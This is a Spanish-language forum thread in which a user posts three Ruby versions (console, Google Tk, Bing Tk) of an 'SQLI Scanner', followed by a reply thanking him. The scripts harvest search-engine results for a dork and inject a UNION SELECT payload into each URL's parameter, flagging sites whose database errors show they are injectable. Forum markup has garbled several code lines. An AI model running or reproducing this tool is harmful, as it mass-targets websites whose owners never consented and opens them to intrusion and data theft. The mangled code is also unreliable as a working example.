[Ruby] SQLI Scanner 0.4

  • 1 Respuestas
  • 3892 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Ruby] SQLI Scanner 0.4

  • en: Agosto 07, 2015, 05:26:17 pm
Un simple script en Ruby para buscar paginas vulnerables a SQLI usando Google o Bing.

Version consola :

Código: Ruby
  1. #!usr/bin/ruby
  2. #SQLI Scanner 0.4
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "open-uri"
  6. require "net/http"
  7. require "openssl"
  8.  
  9. # Functions
  10.  
  11. def toma(web)
  12.    begin
  13.       return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  14.    rescue
  15.       return "Error"
  16.    end
  17. end
  18.  
  19.  
  20. def toma_ssl(web)
  21.    uri = URI.parse(web)
  22.    nave = Net::HTTP.new(uri.host, uri.port)
  23.    nave.use_ssl = true
  24.    nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  25.    return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  26. end
  27.  
  28.  
  29. def tomar(web,arg)
  30.    begin
  31.       headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  32.       uri = URI(web)
  33.       http = Net::HTTP.new(uri.host, uri.port)
  34.       return http.post(uri.path,arg, headers).body
  35.    rescue
  36.       return "Error"
  37.    end
  38. end
  39.  
  40. def cortar(pages)
  41.    final = ""
  42.    finales = []
  43.    pages.flatten.each do |page|
  44.       if page=~/(.*)=(.*)/
  45.          parte1 = $1
  46.          parte2 = $2
  47.          final = parte1 + "="
  48.          finales.push(final)
  49.       end
  50.    end
  51.    return finales
  52. end
  53.  
  54.  
  55. def google(dork,pages)
  56.  
  57.    links = []
  58.    dork = dork.sub(/ /,"+")
  59.    contador = 0
  60.    for i in ("1"..pages)
  61.       contador+=10
  62.       code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  63.       paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  64.       paginas.flatten.each do |pagina|
  65.          partes = pagina
  66.          if partes=~/url\?q=(.*)&amp;sa/
  67.             parte = $1
  68.             link = URI::decode(parte)
  69.             links.push(link)
  70.          end
  71.       end
  72.       end
  73.       links = links.uniq
  74.    return links
  75. end
  76.  
  77. def google_recursive(dork,pages)
  78.    dork = dork.sub(/ /,"+")
  79.    contador = 0
  80.    guardo = []
  81.    for i in ("1"..pages)
  82.       contador+=10
  83.       url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  84.       code = toma_ssl(url)
  85.       links = URI::extract(code)
  86.       links.each do |link|
  87.          if link=~/cache:(.*?)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*?)\+/
  88.             link_final = "http://"+$2
  89.             link_final = URI::decode(link_final)
  90.             guardo.push(link_final)
  91.          end
  92.       end
  93.    end
  94.    guardo = guardo.uniq
  95.    return guardo
  96. end
  97.  
  98. def bing(dork,pages)
  99.  
  100.    guardo = []
  101.    dork = dork.sub(/ /,"+")
  102.    contador = 0
  103.    for i in ("1"..pages)
  104.       contador+=10
  105.  
  106.       code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  107.  
  108.       links = code.scan(/<h2><a href="(.*?)" h/)
  109.  
  110.       links.flatten.each do |link|
  111.          link_final = URI::decode(link)
  112.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  113.             guardo.push(link_final)
  114.          end
  115.       end
  116.  
  117.       links = code.scan(/<h3><a href="(.*?)" h/)
  118.  
  119.       links.flatten.each do |link|
  120.          link_final = URI::decode(link)
  121.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  122.             guardo.push(link_final)
  123.          end
  124.       end
  125.    end
  126.    guardo = guardo.uniq
  127.    return guardo
  128. end
  129.  
  130. def uso
  131.    print "\n<ul class="bbc_list"><li type="square"> Sintax : ruby scanner.rb <options> <dork> <pages>\n\n"[/li][/list]
  132.    print "-search_bing : Find in Bing\n"
  133.    print "-search_google : Find in Google\n"
  134.    print "-scan_bing : Find SQLI in Bing\n"
  135.    print "-scan_google : Find SQLI in Google\n"
  136.    print "\n</li><li type="square"> Example of use : ruby scanner.rb -scan_bing news.php+id 3\n"[/li][/list]
  137. end
  138.  
  139. def  head
  140.    print "\n\n-- == SQLI Scanner 0.4 == --\n\n"
  141. end
  142.  
  143. def copyright
  144.    print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  145. end
  146.  
  147. opcion = ARGV[0]
  148. dork = ARGV[1]
  149. pages  = ARGV[2]
  150.  
  151. head()
  152.  
  153. if !opcion or !dork or !pages
  154.    uso()
  155. else
  156.    
  157.    if opcion=="-search_bing"
  158.      
  159.       print "\n</li><li type="square"> Searching in Bing ...\n\n"[/li][/list]
  160.      
  161.       links = bing(dork,pages)
  162.  
  163.       print "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n"[/li][/list]
  164.  
  165.       if links.count.to_s=="0"
  166.          print "[-] Links not found\n"
  167.       end
  168.  
  169.       links.flatten.each do |link|
  170.          print "</li><li type="square"> Link : "+link+"\n"[/li][/list]
  171.       end
  172.    
  173.       print "\n</li><li type="square"> Finished\n"[/li][/list]
  174.  
  175.    elsif opcion=="-search_google"
  176.      
  177.       print "\n</li><li type="square"> Searching in Google ...\n\n"[/li][/list]
  178.      
  179.       links = google(dork,pages)
  180.  
  181.       if links.count.to_s=="0"
  182.          print "</li><li type="square"> Searching in Google again ...\n\n"[/li][/list]
  183.          links = google_recursive(dork,pages)
  184.       end
  185.  
  186.       print "</li><li type="square"> Pages Count : "+links.count.to_s[/li][/list]
  187.    
  188.       if links.count.to_s=="0"
  189.          print "[-] Links not found"
  190.       end
  191.  
  192.       links.flatten.each do |link|
  193.          print "</li><li type="square"> Link : "+link+"\n"[/li][/list]
  194.       end
  195.      
  196.       print "\n</li><li type="square"> Finished\n"[/li][/list]
  197.  
  198.    elsif opcion=="-scan_bing"
  199.      
  200.       print "\n</li><li type="square"> Searching in Bing ...\n\n"[/li][/list]
  201.      
  202.       links = cortar(bing(dork,pages))
  203.  
  204.       print "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n"[/li][/list]
  205.  
  206.       if links.count.to_s=="0"
  207.          print "[-] Links not found\n"
  208.       end
  209.  
  210.       links.flatten.each do |link|
  211.          print "</li><li type="square"> Link : "+link[/li][/list]
  212.          begin
  213.             url = toma(link + "-1+union+select+1--")
  214.             if url=~/The used SELECT statements have a different number of columns/
  215.                print " [OK]\n\a\a"
  216.             else
  217.                print " [FAIL]\n"
  218.             end
  219.          rescue
  220.             print " [FAIL]\n"
  221.          end
  222.       end
  223.    
  224.       print "\n</li><li type="square"> Finished\n"[/li][/list]
  225.      
  226.    elsif opcion=="-scan_google"
  227.      
  228.       print "\n</li><li type="square"> Searching in Google ...\n\n"[/li][/list]
  229.      
  230.       links = cortar(google(dork,pages))
  231.  
  232.       if links.count.to_s=="0"
  233.          print "</li><li type="square"> Searching in Google again ...\n\n"[/li][/list]
  234.          links = cortar(google_recursive(dork,pages))
  235.       end
  236.  
  237.       print "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n"[/li][/list]
  238.    
  239.       if links.count.to_s=="0"
  240.          print "[-] Links not found"
  241.       end
  242.  
  243.       links.flatten.each do |link|
  244.          print "</li><li type="square"> Link : "+link[/li][/list]
  245.          begin
  246.             url = toma(link + "-1+union+select+1--")
  247.             if url=~/The used SELECT statements have a different number of columns/
  248.                print " [OK]\n\a\a"
  249.             else
  250.                print " [FAIL]\n"
  251.             end
  252.          rescue
  253.             print " [FAIL]\n"
  254.          end
  255.       end
  256.    
  257.       print "\n</li><li type="square"> Finished\n"[/li][/list]
  258.    else
  259.       print "[-] Bad Option"
  260.    end
  261. end
  262.  
  263. copyright()
  264.  
  265.  
  266. #The End ?
  267.  

Version Tk para Google :

Código: Ruby
  1. #!usr/bin/ruby
  2. #SQLI Scanner 0.4
  3. #(C) Doddy Hackman 2015
  4. #Scan Google Tk
  5.  
  6. require "tk"
  7. require "open-uri"
  8. require "net/http"
  9. require "openssl"
  10.  
  11. # Functions
  12.  
  13. def toma(web)
  14.    begin
  15.       return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  16.    rescue
  17.       return "Error"
  18.    end
  19. end
  20.  
  21.  
  22. def toma_ssl(web)
  23.    uri = URI.parse(web)
  24.    nave = Net::HTTP.new(uri.host, uri.port)
  25.    nave.use_ssl = true
  26.    nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  27.    return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  28. end
  29.  
  30.  
  31. def tomar(web,arg)
  32.    begin
  33.       headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  34.       uri = URI(web)
  35.       http = Net::HTTP.new(uri.host, uri.port)
  36.       return http.post(uri.path,arg, headers).body
  37.    rescue
  38.       return "Error"
  39.    end
  40. end
  41.  
  42. def cortar(pages)
  43.    final = ""
  44.    finales = []
  45.    pages.flatten.each do |page|
  46.       if page=~/(.*)=(.*)/
  47.          parte1 = $1
  48.          parte2 = $2
  49.          final = parte1 + "="
  50.          finales.push(final)
  51.       end
  52.    end
  53.    return finales
  54. end
  55.  
  56.  
  57. def google(dork,pages)
  58.  
  59.    links = []
  60.    dork = dork.sub(/ /,"+")
  61.    contador = 0
  62.    for i in ("1"..pages)
  63.       contador+=10
  64.       code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  65.       paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  66.       paginas.flatten.each do |pagina|
  67.          partes = pagina
  68.          if partes=~/url\?q=(.*)&amp;sa/
  69.             parte = $1
  70.             link = URI::decode(parte)
  71.             links.push(link)
  72.          end
  73.       end
  74.       end
  75.       links = links.uniq
  76.    return links
  77. end
  78.  
  79. def google_recursive(dork,pages)
  80.    dork = dork.sub(/ /,"+")
  81.    contador = 0
  82.    guardo = []
  83.    for i in ("1"..pages)
  84.       contador+=10
  85.       url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  86.       code = toma_ssl(url)
  87.       links = URI::extract(code)
  88.       links.each do |link|
  89.          if link=~/cache:(.*?)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*?)\+/
  90.             link_final = "http://"+$2
  91.             link_final = URI::decode(link_final)
  92.             guardo.push(link_final)
  93.          end
  94.       end
  95.    end
  96.    guardo = guardo.uniq
  97.    return guardo
  98. end
  99.  
  100. def bing(dork,pages)
  101.  
  102.    guardo = []
  103.    dork = dork.sub(/ /,"+")
  104.    contador = 0
  105.    for i in ("1"..pages)
  106.       contador+=10
  107.  
  108.       code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  109.  
  110.       links = code.scan(/<h2><a href="(.*?)" h/)
  111.  
  112.       links.flatten.each do |link|
  113.          link_final = URI::decode(link)
  114.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  115.             guardo.push(link_final)
  116.          end
  117.       end
  118.  
  119.       links = code.scan(/<h3><a href="(.*?)" h/)
  120.  
  121.       links.flatten.each do |link|
  122.          link_final = URI::decode(link)
  123.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  124.             guardo.push(link_final)
  125.          end
  126.       end
  127.    end
  128.    guardo = guardo.uniq
  129.    return guardo
  130. end
  131.  
  132. #
  133.  
  134. window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Google" ; background "black" }
  135. window['geometry'] = '300x320-20+10'
  136.  
  137. TkLabel.new(window) do
  138.    background "black"
  139.    foreground "green"
  140.    text "    Dork : "
  141.    place('relx'=>"0.1",'rely'=>"0.1")
  142. end
  143.  
  144. dork = TkEntry.new(window){
  145.    background "black"
  146.    foreground "green"
  147.    width 25
  148.    place('relx'=>0.3,'rely'=>0.1)
  149. }
  150.  
  151. TkLabel.new(window) do
  152.    background "black"
  153.    foreground "green"
  154.    text "    Pages : "
  155.    place('relx'=>"0.1",'rely'=>"0.2")
  156. end
  157.  
  158. pages = TkEntry.new(window){
  159.    background "black"
  160.    foreground "green"
  161.    width 25
  162.    place('relx'=>0.3,'rely'=>0.2)
  163. }
  164.  
  165. TkLabel.new(window) do
  166.    background "black"
  167.    foreground "green"
  168.    text "Console"
  169.    place('relx'=>0.4,'rely'=>0.3)
  170. end
  171.  
  172. console =TkText.new(window) do
  173.    background "black"
  174.    foreground "green"
  175.    width 30
  176.    height 9
  177.    place('relx'=>0.1,'rely'=>0.4)
  178. end
  179.  
  180. TkButton.new(window) do
  181.    text "Search"
  182.     background "black"
  183.    foreground "green"
  184.    width 17
  185.    activebackground "green"
  186.    highlightbackground  "green"
  187.    command proc{
  188.    
  189.       dork = dork.value.to_s
  190.       pages = pages.value.to_s
  191.  
  192.       console.insert("end",  "</li><li type="square"> Searching in Google ...\n\n")[/li][/list]
  193.      
  194.       links = cortar(google(dork,pages))
  195.  
  196.       if links.count.to_s=="0"
  197.          console.insert("end",  "</li><li type="square"> Searching in Google again ...\n\n")[/li][/list]
  198.          links = cortar(google_recursive(dork,pages))
  199.       end
  200.  
  201.       console.insert("end", "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n")[/li][/list]
  202.    
  203.       if links.count.to_s=="0"
  204.          console.insert("end", "[-] Links not found")
  205.       end
  206.  
  207.       links.flatten.each do |link|
  208.          console.insert("end", "</li><li type="square"> Link : "+link)[/li][/list]
  209.          begin
  210.             url = toma(link + "-1+union+select+1--")
  211.             if url=~/The used SELECT statements have a different number of columns/
  212.                console.insert("end"," [OK]\n\a\a")
  213.             else
  214.                console.insert("end"," [FAIL]\n")
  215.             end
  216.          rescue
  217.             console.insert("end", " [FAIL]\n")
  218.          end
  219.       end
  220.      
  221.       console.insert("end",  "\n</li><li type="square"> Finished")[/li][/list]
  222.      
  223.    }
  224.    place('relx'=>0.3,'rely'=>0.9)
  225. end
  226.  
  227. Tk.mainloop
  228.  
  229. #The End ?
  230.  

Una imagen :



Version Tk para Bing :

Código: Ruby
  1. #!usr/bin/ruby
  2. #SQLI Scanner 0.4
  3. #(C) Doddy Hackman 2015
  4. #Scan Bing Tk
  5.  
  6. require "tk"
  7. require "open-uri"
  8. require "net/http"
  9. require "openssl"
  10.  
  11. # Functions
  12.  
  13. def toma(web)
  14.    begin
  15.       return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  16.    rescue
  17.       return "Error"
  18.    end
  19. end
  20.  
  21.  
  22. def toma_ssl(web)
  23.    uri = URI.parse(web)
  24.    nave = Net::HTTP.new(uri.host, uri.port)
  25.    nave.use_ssl = true
  26.    nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  27.    return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  28. end
  29.  
  30.  
  31. def tomar(web,arg)
  32.    begin
  33.       headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  34.       uri = URI(web)
  35.       http = Net::HTTP.new(uri.host, uri.port)
  36.       return http.post(uri.path,arg, headers).body
  37.    rescue
  38.       return "Error"
  39.    end
  40. end
  41.  
  42. def cortar(pages)
  43.    final = ""
  44.    finales = []
  45.    pages.flatten.each do |page|
  46.       if page=~/(.*)=(.*)/
  47.          parte1 = $1
  48.          parte2 = $2
  49.          final = parte1 + "="
  50.          finales.push(final)
  51.       end
  52.    end
  53.    return finales
  54. end
  55.  
  56.  
  57. def google(dork,pages)
  58.  
  59.    links = []
  60.    dork = dork.sub(/ /,"+")
  61.    contador = 0
  62.    for i in ("1"..pages)
  63.       contador+=10
  64.       code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  65.       paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  66.       paginas.flatten.each do |pagina|
  67.          partes = pagina
  68.          if partes=~/url\?q=(.*)&amp;sa/
  69.             parte = $1
  70.             link = URI::decode(parte)
  71.             links.push(link)
  72.          end
  73.       end
  74.       end
  75.       links = links.uniq
  76.    return links
  77. end
  78.  
  79. def google_recursive(dork,pages)
  80.    dork = dork.sub(/ /,"+")
  81.    contador = 0
  82.    guardo = []
  83.    for i in ("1"..pages)
  84.       contador+=10
  85.       url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  86.       code = toma_ssl(url)
  87.       links = URI::extract(code)
  88.       links.each do |link|
  89.          if link=~/cache:(.*?)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*?)\+/
  90.             link_final = "http://"+$2
  91.             link_final = URI::decode(link_final)
  92.             guardo.push(link_final)
  93.          end
  94.       end
  95.    end
  96.    guardo = guardo.uniq
  97.    return guardo
  98. end
  99.  
  100. def bing(dork,pages)
  101.  
  102.    guardo = []
  103.    dork = dork.sub(/ /,"+")
  104.    contador = 0
  105.    for i in ("1"..pages)
  106.       contador+=10
  107.  
  108.       code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  109.  
  110.       links = code.scan(/<h2><a href="(.*?)" h/)
  111.  
  112.       links.flatten.each do |link|
  113.          link_final = URI::decode(link)
  114.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  115.             guardo.push(link_final)
  116.          end
  117.       end
  118.  
  119.       links = code.scan(/<h3><a href="(.*?)" h/)
  120.  
  121.       links.flatten.each do |link|
  122.          link_final = URI::decode(link)
  123.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  124.             guardo.push(link_final)
  125.          end
  126.       end
  127.    end
  128.    guardo = guardo.uniq
  129.    return guardo
  130. end
  131.  
  132. #
  133.  
  134. window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Bing" ; background "black" }
  135. window['geometry'] = '300x320-20+10'
  136.  
  137. TkLabel.new(window) do
  138.    background "black"
  139.    foreground "green"
  140.    text "    Dork : "
  141.    place('relx'=>"0.1",'rely'=>"0.1")
  142. end
  143.  
  144. dork = TkEntry.new(window){
  145.    background "black"
  146.    foreground "green"
  147.    width 25
  148.    place('relx'=>0.3,'rely'=>0.1)
  149. }
  150.  
  151. TkLabel.new(window) do
  152.    background "black"
  153.    foreground "green"
  154.    text "    Pages : "
  155.    place('relx'=>"0.1",'rely'=>"0.2")
  156. end
  157.  
  158. pages = TkEntry.new(window){
  159.    background "black"
  160.    foreground "green"
  161.    width 25
  162.    place('relx'=>0.3,'rely'=>0.2)
  163. }
  164.  
  165. TkLabel.new(window) do
  166.    background "black"
  167.    foreground "green"
  168.    text "Console"
  169.    place('relx'=>0.4,'rely'=>0.3)
  170. end
  171.  
  172. console =TkText.new(window) do
  173.    background "black"
  174.    foreground "green"
  175.    width 30
  176.    height 9
  177.    place('relx'=>0.1,'rely'=>0.4)
  178. end
  179.  
  180. TkButton.new(window) do
  181.    text "Search"
  182.     background "black"
  183.    foreground "green"
  184.    width 17
  185.    activebackground "green"
  186.    highlightbackground  "green"
  187.    command proc{
  188.    
  189.       dork = dork.value.to_s
  190.       pages = pages.value.to_s
  191.  
  192.       console.insert("end", "</li><li type="square"> Searching in Bing ...\n\n")[/li][/list]
  193.      
  194.       links = cortar(bing(dork,pages))
  195.  
  196.       console.insert("end", "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n")[/li][/list]
  197.  
  198.       if links.count.to_s=="0"
  199.          console.insert("end","[-] Links not found\n")
  200.       end
  201.  
  202.       links.flatten.each do |link|
  203.          console.insert("end", "</li><li type="square"> Link : "+link)[/li][/list]
  204.          begin
  205.             url = toma(link + "-1+union+select+1--")
  206.             if url=~/The used SELECT statements have a different number of columns/
  207.                console.insert("end"," [OK]\n\a\a")
  208.             else
  209.                console.insert("end", " [FAIL]\n")
  210.             end
  211.          rescue
  212.             console.insert("end"," [FAIL]\n")
  213.          end
  214.       end
  215.      
  216.       console.insert("end",  "\n</li><li type="square"> Finished")[/li][/list]
  217.      
  218.    }
  219.    place('relx'=>0.3,'rely'=>0.9)
  220. end
  221.  
  222. Tk.mainloop
  223.  
  224. #The End ?
  225.  

Una imagen :



Eso es todo.

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 994
  • Actividad:
    20%
  • Country: 00
  • Reputación 22
  • A las personas se las conoce por sus heridas...
    • Ver Perfil
    • Hirana: red de IRC
    • Email

Re:[Ruby] SQLI Scanner 0.4

  • en: Agosto 07, 2015, 07:08:25 pm

@Doddy


Voy a probarlo, a ver que  sale; no sin antes agradecerte tus continuos aportes a la comunidad.

Gabi.

Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

 

[Ruby] Traductor de Decimal a Ascii / Ascii a Decimal

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2852
Último mensaje Febrero 24, 2010, 04:16:38 pm
por ANTRAX
Lenguaje Ruby, aprendiendo poco a poco.

Iniciado por Alejandro_99

Respuestas: 2
Vistas: 3158
Último mensaje Agosto 15, 2013, 02:58:39 pm
por Alejandro_99
Crafting rails 4 applications (Manual de Ruby on Rails 4)

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 1994
Último mensaje Marzo 01, 2014, 05:34:50 pm
por Alejandro_99
Desarrollo de aplicaciones Perl, PHP, Python y "Ruby on Rails"

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 2474
Último mensaje Junio 13, 2014, 03:27:08 pm
por Alejandro_99
Shoesrb donde puedes hacerle una interfaz grafica a una aplicación hecha en Ruby

Iniciado por Alejandro_99

Respuestas: 3
Vistas: 3549
Último mensaje Mayo 21, 2013, 03:51:00 am
por StuXn3t